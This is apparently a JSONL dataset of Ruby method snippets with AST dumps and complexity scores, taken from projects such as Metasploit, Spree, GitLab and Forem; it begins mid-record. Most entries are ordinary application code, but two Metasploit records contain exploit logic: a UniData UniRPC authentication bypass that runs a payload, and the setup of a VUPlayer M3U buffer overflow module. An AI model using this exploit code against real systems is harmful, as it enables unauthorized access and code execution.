"to_s\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"remainder\"]}]}]}]}","id":"d9b6c42c-518a-43b2-8fe3-52dd3ea9fd80"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb","start_line":330,"raw_source":"def udp_send(data)\n    begin\n      udp_sock.sendto(data, rhost, datastore['RPORT'], 0)\n    rescue ::Interrupt\n      raise $!\n    rescue ::Exception\n    end\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"udp_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"sendto\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Interrupt\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"gvar\",\"children\":[\"$!\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},null,null]},null]}]}]}","id":"30aea21e-f9df-45e3-a4a9-499a6d92bf42"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/cart_controller.rb","start_line":207,"raw_source":"def associate_service\n            Spree::Api::Dependencies.storefront_cart_associate_service.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"associate_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"storefront_cart_associate_service\"]},\"constantize\"]}]}","id":"8b767842-9047-4936-8031-cdaa000c42dc"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/merchant.rb","start_line":58,"raw_source":"def create!(bundle_id: nil, name: nil, mac: false)\n          new_merchant = client.create_merchant!(name, bundle_id, mac: mac)\n          new(new_merchant)\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"bundle_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"mac\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_merchant\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"create_merchant!\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"bundle_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mac\"]},{\"type\":\"lvar\",\"children\":[\"mac\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"new_merchant\"]}]}]}]}","id":"95bf3608-bea4-4577-9f60-ed12526ee2a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/set_crm_contacts_service.rb","start_line":102,"raw_source":"def allowed?\n      current_user&.can?(:set_issue_crm_contacts, issue)\n    end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"set_issue_crm_contacts\"]},{\"type\":\"send\",\"children\":[null,\"issue\"]}]}]}","id":"fa6adee6-138b-455a-b4ea-16f9f1e25d5f"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/broadcasts/welcome_notification/generator.rb","start_line":164,"raw_source":"def find_auth_broadcast\n        missing_identities = providers.filter_map do |provider|\n          identities.exists?(provider: provider) ? nil : \"#{provider}_connect\"\n        end\n\n        Broadcast.active.find_by!(title: I18n.t(\"services.broadcasts.welcome_notification.generator.welcome\",\n                                                key: missing_identities.first))\n      end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"find_auth_broadcast\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"missing_identities\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"providers\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identities\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"lvar\",\"children\":[\"provider\"]}]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]}]},{\"type\":\"str\",\"children\":[\"_connect\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Broadcast\"]},\"active\"]},\"find_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"services.broadcasts.welcome_notification.generator.welcome\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_identities\"]},\"first\"]}]}]}]}]}]}]}]}]}","id":"896820f0-2529-43c7-abb4-69f062c3841a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/unidata_udadmin_auth_bypass.rb","start_line":115,"raw_source":"def exploit\n    # Sanity check\n    if datastore['UNIRPC_GID'] == 0\n      fail_with(Failure::BadConfig, 'UNIRPC_GID cannot be 0')\n    end\n\n    # Connect to the service\n    connect\n\n    # Connect to the RPC service (probably \"udadmin\")\n    vprint_status(\"Connecting to UniRPC endpoint #{datastore['UNIRPC_ENDPOINT']}\")\n    sock.put(build_unirpc_message(args: [\n      # Service name\n      { type: :string, value: datastore['UNIRPC_ENDPOINT'] },\n\n      # \"Secure\" flag - this must be non-zero if the server is started in\n      # \"secure\" mode (-s)\n      { type: :integer, value: 1 },\n    ]))\n\n    # This will throw an error if the login fails, otherwise we can discard the\n    # result\n    recv_unirpc_message(sock, first_result_is_status: true)\n\n    # Prepare the authentication bypass\n    username = ':local:'\n    password = \"#{datastore['UNIRPC_USERNAME']}:#{datastore['UNIRPC_UID']}:#{datastore['UNIRPC_GID']}\"\n    vprint_status(\"Authenticating to RPC service as #{username} / #{password}\")\n\n    # Send the authentication message\n    sock.put(build_unirpc_message(args: [\n      # Message type\n      { type: :integer, value: UNIRPC_MESSAGE_LOGIN },\n\n      # Username\n      # \":local:\" is a special value that skips login\n      { type: :string, value: username },\n\n      # Password (encoded by making each byte negative)\n      # I think if username is :local:, this is username:uid:gid (gid can't be 0)\n      { type: :string, value: password.bytes.map { |b| (0x0FF & (~b)).chr }.join },\n    ]))\n\n    # Once again, we only care if this fails - if the status is an error\n    recv_unirpc_message(sock, first_result_is_status: true)\n\n    # Run the command(s)\n    case target['Type']\n    when :unix_cmd\n      execute_command(payload.encoded)\n    when :linux_dropper\n      execute_cmdstager\n    end\n  rescue UniRPCCommunicationError => e\n    fail_with(Failure::Unreachable, \"Could not communicate with the UniRPC server: #{e}\")\n  rescue UniRPCUnexpectedResponseError => e\n    fail_with(Failure::UnexpectedReply, \"UniRPC server returned something unexpected: #{e}\")\n  end","complexity_score":72.58,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNIRPC_GID\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"UNIRPC_GID cannot be 0\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connecting to UniRPC endpoint \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNIRPC_ENDPOINT\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[null,\"build_unirpc_message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNIRPC_ENDPOINT\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"recv_unirpc_message\",{\"type\":\"send\",\"children\":[null,\"sock\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_result_is_status\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"str\",\"children\":[\":local:\"]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNIRPC_USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNIRPC_UID\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNIRPC_GID\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authenticating to RPC service as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\" / \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[null,\"build_unirpc_message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"const\",\"children\":[null,\"UNIRPC_MESSAGE_LOGIN\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},\"bytes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[255]},\"&\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"~\"]}]}]}]},\"chr\"]}]},\"join\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"recv_unirpc_message\",{\"type\":\"send\",\"children\":[null,\"sock\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_result_is_status\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"unix_cmd\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"linux_dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UniRPCCommunicationError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not communicate with the UniRPC server: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UniRPCUnexpectedResponseError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UniRPC server returned something unexpected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"a3dfb5c7-5f9a-4ddb-b191-270514dcfafc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/blob_presenter.rb","start_line":54,"raw_source":"def blob_data(to)\n    @_blob_data ||= limited_blob_data(to: to)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"blob_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_blob_data\"]},{\"type\":\"send\",\"children\":[null,\"limited_blob_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]}]}]}]}]}","id":"da03d3ef-4a9c-40b5-b4a5-fe383243f4e1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/google/geolocation.rb","start_line":21,"raw_source":"def initialize\n        @uri = URI.parse(URI::DEFAULT_PARSER.escape(GOOGLE_API_URI))\n        @wlan_list = []\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"DEFAULT_PARSER\"]},\"escape\",{\"type\":\"const\",\"children\":[null,\"GOOGLE_API_URI\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@wlan_list\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"a957e8d0-7d11-4949-8dce-96ad899c5ab3"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/store.rb","start_line":280,"raw_source":"def unique_name\n      @unique_name ||= \"#{name} (#{code})\"\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unique_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@unique_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"code\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}","id":"dd7691cb-ed58-438e-8141-ff2286c49b3b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/preloaders/labels_preloader_spec.rb","start_line":51,"raw_source":"def access_data(labels)\n    labels.each do |label|\n      case label\n      when ProjectLabel\n        label.project.project_feature\n        label.lazy_subscription(user, label.project)\n      when GroupLabel\n        label.group.route\n        label.lazy_subscription(user)\n      end\n    end\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"access_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"labels\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"labels\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectLabel\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"project\"]},\"project_feature\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"lazy_subscription\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"project\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupLabel\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"group\"]},\"route\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"lazy_subscription\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]},null]}]}]}","id":"68cd473d-61d6-41c9-af33-bf114b7c3277"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/vuplayer_m3u.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'VUPlayer M3U Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack over flow in VUPlayer <= 2.49. When\n          the application is used to open a specially crafted m3u file, an buffer is overwritten allowing\n          for the execution of arbitrary code.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'MC' ],\n        'References' => [\n          [ 'CVE', '2006-6251' ],\n          [ 'OSVDB', '31710' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n          'DisablePayloadHandler' => true,\n          'AllowWin32SEH' => true\n        },\n        'Payload' => {\n          'Space' => 750,\n          'BadChars' => \"\\x00\",\n          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,\n          'DisableNops' => true\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2009-08-18',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),\n      ]\n    )\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"VUPlayer M3U Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack over flow in VUPlayer <= 2.49. When\\n\"]},{\"type\":\"str\",\"children\":[\"          the application is used to open a specially crafted m3u file, an buffer is overwritten allowing\\n\"]},{\"type\":\"str\",\"children\":[\"          for the execution of arbitrary code.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2006-6251\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"31710\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AllowWin32SEH\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[750]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EncoderType\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Encoder\"]},\"Type\"]},\"AlphanumUpper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"VUPlayer 2.49\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[269505439]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2009-08-18\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"msf.m3u\"]}]}]}]}]}]}]}","id":"f09d9327-bbcd-4983-9d84-4519e969a374"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/app/helpers/rb_common_helper.rb","start_line":114,"raw_source":"def modal_link_to_work_package(title, work_package, options = {})\n    modal_link_to(title, work_package_path(work_package), options)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"modal_link_to_work_package\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]},{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"modal_link_to\",{\"type\":\"lvar\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"work_package_path\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"329de0b5-c7c1-49fc-93a2-329b3a25d80b"}
